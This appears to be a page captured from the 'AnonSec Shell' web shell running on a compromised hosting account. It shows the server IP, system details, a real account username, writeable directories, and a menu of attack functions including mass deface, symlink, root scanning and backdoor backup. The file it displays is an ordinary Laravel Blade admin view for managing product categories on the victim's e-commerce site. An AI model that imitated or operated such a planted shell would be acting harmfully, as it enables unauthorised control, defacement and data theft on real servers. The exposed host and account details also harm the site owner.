AnonSec Shell
Server IP : 162.213.251.212  /  Your IP : 3.138.179.197   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : allssztx ( 535)
PHP Version : 8.1.31
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/allssztx/www/easybuyer/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/allssztx/www/easybuyer/storage/framework/views/9d86e75a163431c89173c4c33cbcb17865dc7ef8.php
<?php if (isset($component)) { $__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4 = $component; } ?>
<?php $component = $__env->getContainer()->make(Illuminate\View\AnonymousComponent::class, ['view' => 'components.admin.header','data' => []]); ?>
<?php $component->withName('admin.header'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php $component->withAttributes([]); ?>
<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4)): ?>
<?php $component = $__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4; ?>
<?php unset($__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4); ?>
<?php endif; ?>
<?php if (isset($component)) { $__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4 = $component; } ?>
<?php $component = $__env->getContainer()->make(Illuminate\View\AnonymousComponent::class, ['view' => 'components.admin.sidebar','data' => []]); ?>
<?php $component->withName('admin.sidebar'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php $component->withAttributes([]); ?>
<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4)): ?>
<?php $component = $__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4; ?>
<?php unset($__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4); ?>
<?php endif; ?>

<style>
	.input-field .img-upload-btn
	{
		margin: 10px;
	}
	td.col-img
	{
		display: flex;
	}
	td.col-img h6
	{
		position: relative;
		margin: 10px 0px 0px 10px !important;
	}

</style>


                        <div class="main-content">
                        	<div class="graph-card card-table" id="catList">
                                <div class="card-head">
                                    <div class="text-content">
                                        <h5>Product Categories</h5>
                                    </div>
                                    <div class="card-drp">
                                        <div class="btn-content btn-group" role="group" aria-label="Basic example">
                                        	<?php if(Auth::user()->type == 'admin'): ?>
                                        	<button data-bs-toggle="modal" data-bs-target="#add-model" type="button" class="btn active add-btn">Add New</button>
                                        	<?php endif; ?>
                                        </div>
                                    </div>
                                </div>
                                <div class="card-body">
                                    <div class="table-responsive table-scroll">
                                        <table class="table-management" id="tabble">
                                            <thead>
                                                <tr>
                                                    <th>#</th>
                                                    <th>Parent Category</th>
                                                    <th>Category Title</th>
                                                    <th>Category Slug</th>
                                                    <th>Status</th>
                                                    <th>Actions</th>
                                                </tr>
                                            </thead>
                                            <tbody>
                                            	<?php $__currentLoopData = $fetch; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key => $cat): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                                <tr>
                                                	<td>
                                                		<?php echo e($key+1); ?>

                                                	</td>
                                                	<td>
                                                		<?php echo e($cat->parent); ?>

                                                	</td>
                                                	<?php if($cat->category_image == null): ?>
                                                	<td>
                                                		<?php echo e($cat->category_heading); ?>

                                                	</td>
                                                	<?php else: ?>
                                                	<td>
                                                		<img class="img-fluid" src="<?php echo e(asset('storage/images/'.$cat->category_image)); ?>" alt="">
                                                		<?php echo e($cat->category_heading); ?>

                                                	</td>
                                                	<?php endif; ?>
                                                	<td>
                                                		<?php echo e($cat->category_slug); ?>

                                                	</td>
                                                    <td>
                                                    	<?php if($cat->category_status == 1): ?>
                                                        <h6>Active</h6>
                                                        <?php else: ?>
                                                        <h6>Un Active</h6>
                                                        <?php endif; ?>
                                                    </td>
                                                    <td>
                                                        <button class="refresh-btn edit-btnn" data-tooltip="Edit" data-category_id="<?php echo e($cat->category_id); ?>"
                                                        data-category_parent="<?php echo e($cat->category_parent); ?>"
                                                        data-category_title="<?php echo e($cat->category_heading); ?>"
                                                        data-category_image="<?php echo e($cat->category_image); ?>"
                                                        data-category_status="<?php echo e($cat->category_status); ?>">
                                                            <i class="fa-regular fa-pencil"></i>
                                                        </button>
                                                        <!-- <button class="delete-btn btn_del" value="<?php echo e($cat->category_id); ?>" data-tooltip="Delete">
                                                            <i class="fa-regular fa-xmark"></i>
                                                        </button> -->
                                                    </td>
                                                </tr>
                                                <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                                            </tbody>
                                        </table>
                                    </div>
                                    <div class="pagination">
                                    
                                </div>
                                </div>
                            </div>
                        </div>

                        <!-- Update Model Start Here -->

                        <div class="modal fade" id="edit-cat" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" aria-labelledby="edit-dialogLabel" aria-hidden="true">
					        <div class="modal-dialog modal-dialog-centered">
					            <div class="modal-content">
					                <form id="update-form">
					                	<?php echo csrf_field(); ?>
					                    <div class="modal-header">
					                        <h5 class="modal-title" id="edit-dialogLabel">Update Product Category</h5>
					                        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
					                    </div>
					                    <div class="modal-body">
					                        <div class="form-content">
					                            <div class="row">
					                                <div class="col-12">
					                                	<input type="hidden" name="CatId" id="CatId">
					                                </div>
					                                <div class="col-12">
					                                    <div class="input-field">
					                                        <label for="">Parent Category</label>
					                                        <select name="UpdtParentCat" class="form-control custom-input" id="UpdtParentCat">
					                                        	<option value="">Select</option>
					                                        	<?php $__currentLoopData = $categories; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $cate): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
					                                        	<option value="<?php echo e($cate->category_id); ?>"><?php echo e($cate->category_heading); ?></option>
					                                        	<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
					                                        </select>
					                                    </div>
					                                </div>
					                                <div class="col-12">
					                                    <div class="input-field">
					                                        <label for="">Category Title</label>
					                                        <input class="custom-input" type="text" name="CatTitle" id="CatTitle" value="">
					                                    </div>
					                                </div>
					                                <div class="col-12">
					                                    <div class="input-field">
					                                        <label for="">Change Category Image</label>
					                                        <div class="img-upload-wrapper">
					                                            <input class="img-upload" type="file" name="CatImg" id="CatImg" accept="image/png, image/gif, image/jpeg">
					                                            <input class="img-upload" type="hidden" name="PrevCatImg" id="PrevCatImg">

					                                            <!-- <img class="img-fluid avatar-img" src="images/placeholder.jpg" alt="" > -->
					                                        </div>
					                                        <div class="btn-wrapper">
					                                            <label class="btn img-upload-btn" for="CatImg">Select
					                                                Image</label>
					                                        </div>
					                                        <label for="vehicle1">Remove Category Image</label>  
						                                	<div class="custom-checkbox">
						                                        <input type="checkbox" id="removeCatImg" name="removeCatImg">
						                                        <span class="checkmark"></span>
						                                    </div>
					                                    </div>
					                                </div>
					                                <div class="col-12">
					                                    <div class="input-field">
					                                        <label for="">Category Status</label>
					                                        <select name="CategoryStatus" class="form-control custom-input" id="CategoryStatus">
					                                        	<option value="1">Active</option>
					                                        	<option value="0">Un-Active</option>
					                                        </select>
					                                    </div>
					                                </div>
					                            </div>
					                        </div>
					                    </div>
					                    <div class="modal-footer">
					                        <button type="button" class="btn btn-cancel" data-bs-dismiss="modal">Cancel</button>
					                        <button type="submit" class="btn btn-process">Update Changes</button>
					                    </div>
					                </form>
					            </div>
					        </div>
    					</div>

    					<script>
    						$(".edit-btnn").click(function () {
    							$("#edit-cat").modal('show');
    							var id = $(this).data('category_id');
    							var parent = $(this).data('category_parent');
    							var title = $(this).data('category_title');
    							var image = $(this).data('category_image');
    							var status = $(this).data('category_status');

								
								$("#CatId").val(id);
    							$("#UpdtParentCat").val(parent);
    							$("#CatTitle").val(title);
    							$("#PrevCatImg").val(image);
    							$("#CategoryStatus").val(status);
    						})
    					</script>

                        <!-- Update Model End Here -->


                        <!-- Add Model Start Here -->

                        <div class="modal fade" id="add-model" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" aria-labelledby="edit-dialogLabel" aria-hidden="true">
					        <div class="modal-dialog modal-dialog-centered">
					            <div class="modal-content">
					                <form id="add-form">
					                	<?php echo csrf_field(); ?>
					                    <div class="modal-header">
					                        <h5 class="modal-title" id="edit-dialogLabel">Add Product Category</h5>
					                        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
					                    </div>
					                    <div class="modal-body">
					                        <div class="form-content">
					                            <div class="row">
					                                <div class="col-12">
					                                	<div class="input-field">
					                                        <label for="">Parent Category</label>
					                                        <select name="parentcat" class="form-control custom-input" id="parentcat">
					                                        	<option value="">Select</option>
					                                        	<?php $__currentLoopData = $categories; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $cate): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
					                                        	<option value="<?php echo e($cate->category_id); ?>"><?php echo e($cate->category_heading); ?></option>
					                                        	<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
					                                        </select>
					                                    </div>
					                                </div>
					                                <div class="col-12">
					                                    <div class="input-field">
					                                        <label for="">Category Name</label>
					                                        <input class="custom-input" type="text" name="catname" id="catname" value="">
					                                    </div>
					                                </div>
					                                <div class="col-12">
					                                    <div class="input-field">
					                                        <label for="">Category Image</label>
					                                        <div class="img-upload-wrapper">
					                                            <input class="img-upload" type="file" name="catimage" id="catimage" accept="image/png, image/jpg, image/jpeg">

					                                            <!-- <img class="img-fluid avatar-img" src="images/placeholder.jpg" alt="" > -->
					                                        </div>
					                                        <div class="btn-wrapper">
					                                            <label class="btn img-upload-btn" for="catimage">Select
					                                                Image</label>
					                                        </div>
					                                    </div>
					                                </div>
					                                <div class="col-12">
					                                    <div class="input-field">
					                                        <label for="">Category Status</label>
					                                        <select name="catstatus" class="form-control custom-input" id="catstatus">
					                                        	<option value="1">Active</option>
					                                        	<option value="0">Un-Active</option>
					                                        </select>
					                                    </div>
					                                </div>
					                            </div>
					                        </div>
					                    </div>
					                    <div class="modal-footer">
					                        <button type="button" class="btn btn-cancel" data-bs-dismiss="modal">Cancel</button>
					                        <button type="submit" class="btn btn-process">Add Category</button>
					                    </div>
					                </form>
					            </div>
					        </div>
    					</div>

                        <!-- Add Model End Here -->



                        <!-- Add Work Start Here -->

                        <script>
                        	$(document).ready(function(){
                        		$("#add-form").on('submit',function(e){
                        			e.preventDefault();

                        			var data = new FormData(this);

                        			$.ajaxSetup({
									    headers: {
									        'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content')
									    }
									});

                        			$.ajax({
                        				url: "<?php echo e(url('/insert_product_category')); ?>",
                        				method: "POST",
                        				data: data,
                        				cache: false,
                        				contentType: false,
                        				processData: false,
                        				success:function(data)
                        				{
                        					if ($.isEmptyObject(data.error)) 
                        					{
                        						toastr.success(data.success,"Added",{timeOut: 1500});
                        						document.getElementById('add-form').reset();
                        						$("#add-model").modal('hide');
                        						$("#catList").load(location.href+" #catList>*","");
                        						$("#add-form").load(location.href+" #add-form>*","");
                        						window.location.reload();
                        					}
                        					else if(data.error.catname)
                        					{
                        						toastr.error(data.error.catname,"Error",{timeOut: 1500});
                        						return false;
                        					}
                        					else if(data.error.catimage[0])
                        					{
                        						toastr.error(data.error.catimage[0],"Error",{timeOut: 1500});
                        						return false;
                        					}
                        					else if(data.error.catimage[1])
                        					{
                        						toastr.error(data.error.catimage[1],"Error",{timeOut: 1500});
                        						return false;
                        					}
                        				},
                        				error:function()
                        				{
                        					toastr.error("SomeThing Went Wrong...","Error");
											return false;
                        				},
                        			});
                        		});
                        	});
                        </script>

                        <!-- Add Work End Here -->


                        <!-- Update Work Start Here -->

                        <script>
                        	$(document).ready(function(){
                        		$("#update-form").on('submit',function(e){
                        			e.preventDefault();

    								var data = new FormData(this);

    								$.ajaxSetup({
									    headers: {
									        'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content')
									    }
									});

    								$.ajax({
    									url: "<?php echo e(url('/update_product_category')); ?>",
    									method: "POST",
    									data: data,
    									cache: false,
    									contentType: false,
    									processData: false,
    									success:function(data)
    									{
    										if($.isEmptyObject(data.error))
											{
												toastr.success(data.success,"Updated",{timeOut: 1500});
												document.getElementById('update-form').reset();
												$("#edit-cat").modal('hide');
												$("#catList").load(location.href+" #catList>*","");
												$("#add-form").load(location.href+" #add-form>*","");
												window.location.reload();
											}
											else if(data.error.CatTitle)
                        					{
                        						toastr.error(data.error.CatTitle,"Error",{timeOut: 1500});
                        						return false;
                        					}
                        					else if(data.error.CatImg[0])
                        					{
                        						toastr.error(data.error.CatImg[0],"Error",{timeOut: 1500});
                        						return false;
                        					}
                        					else if(data.error.CatImg[1])
                        					{
                        						toastr.error(data.error.CatImg[1],"Error",{timeOut: 1500});
                        						return false;
                        					}
    									},
    									error:function()
    									{
    										toastr.error("SomeThing Went Wrong...","Error");
											return false;
    									},
    								});
                        		});
                        	});
                        </script>

                        <!-- Update Work End Here -->

                        <!-- Delete Work Start Here -->

                        <script>
                        	$(document).ready(function(){
                        		$('body').on('click', '.btn_del', function(e){
                        			e.preventDefault();

                        			var id = $(this).val();

                        			$.ajax({
                        				url: "<?php echo e(url('/delete_product_category')); ?>",
                        				method: "GET",
                        				data: {'id': id},
                        				cache: false,
                        				success:function()
                        				{
                        					toastr.success("Category Deleted Successfuly","Deleted",{timeOut: 1500});
                        					$("#catList").load(location.href+" #catList>*","");
                        					$("#add-form").load(location.href+" #add-form>*","");
                        					window.location.reload();
                        				},
                        				error:function()
                        				{
                        					toastr.error("SomeThing Went Wrong...","Error");
											return false;
                        				},
                        			});
                        		});
                        	});
                        </script>

                        <!-- Delete Work End Here -->

<?php if (isset($component)) { $__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4 = $component; } ?>
<?php $component = $__env->getContainer()->make(Illuminate\View\AnonymousComponent::class, ['view' => 'components.admin.footer','data' => []]); ?>
<?php $component->withName('admin.footer'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php $component->withAttributes([]); ?>
<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4)): ?>
<?php $component = $__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4; ?>
<?php unset($__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4); ?>
<?php endif; ?><?php /**PATH /home/wpdeatle/public_html/easy-buyer/resources/views/admin/productcategory.blade.php ENDPATH**/ ?>

Anon7 - 2022
AnonSec Team